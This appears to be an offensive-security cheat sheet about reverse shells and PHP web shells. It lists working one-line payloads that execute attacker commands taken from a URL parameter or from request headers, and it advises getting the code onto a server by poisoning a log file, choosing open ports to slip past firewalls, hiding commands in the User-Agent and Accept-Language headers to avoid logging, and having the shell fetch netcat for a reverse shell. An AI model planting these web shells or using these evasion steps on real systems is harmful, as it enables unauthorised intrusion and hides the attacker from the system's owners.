I like using port 443 as its generally open on firewalls for HTTPS traffic. Sometimes servers and firewalls block non standard ports like 4444 or 1337
If connections drops or can not be established, try different ports 80,443,8080...
Copy below into shell. If YES, then you have an interactive shell
[[ $- == *i* ]] && echo "YES" || echo "No"
terminal = tty = text input/output environment
console = physical terminal
shell = command line interpreter
A firewall is likely blocking the port returning. What ports are open on the server? Use one of those ports.

Web shells are hard to detect
This command will run system commands on the underlying system and return the complete output as a string
Try to get this code on the server - possibly by contaminating a log file
use nc to connect to server - the connect will be logged
if a reverse shell is not returning back to you try a diff shell maybe python. run 'which python' to see if python is available
# Execute one command
<?php system("whoami"); ?>
# Take input from the url paramter. shell.php?cmd=whoami
#remember you might have to add index.php to url then you can do index.php?cmd=whoami
<?php system($_GET['cmd']); ?>
# The same but using passthru
<?php passthru($_GET['cmd']); ?>
# For shell_exec to output the result you need to echo it
<?php echo shell_exec("whoami");?>
# Exec() does not output the result without echo, and only output the last line. So not very useful!
<?php echo exec("whoami");?>
# Instead to this if you can. It will return the output as an array, and then print it all.
<?php exec("ls -la",$array); print_r($array); ?>
# preg_replace(). This is a cool trick
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
# Using backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>
# Using backticks
<?php echo `whoami`; ?>
# download netcat and run it
<?php include (location of netcat),exec(reverse shell);?>
Then you can execute the commands like this
http://victim/index.php?cmd=pwd
Make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, pass them through other header-parameters. The use tamper data or burpsuite to insert the commands. Or just netcat or curl.
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>
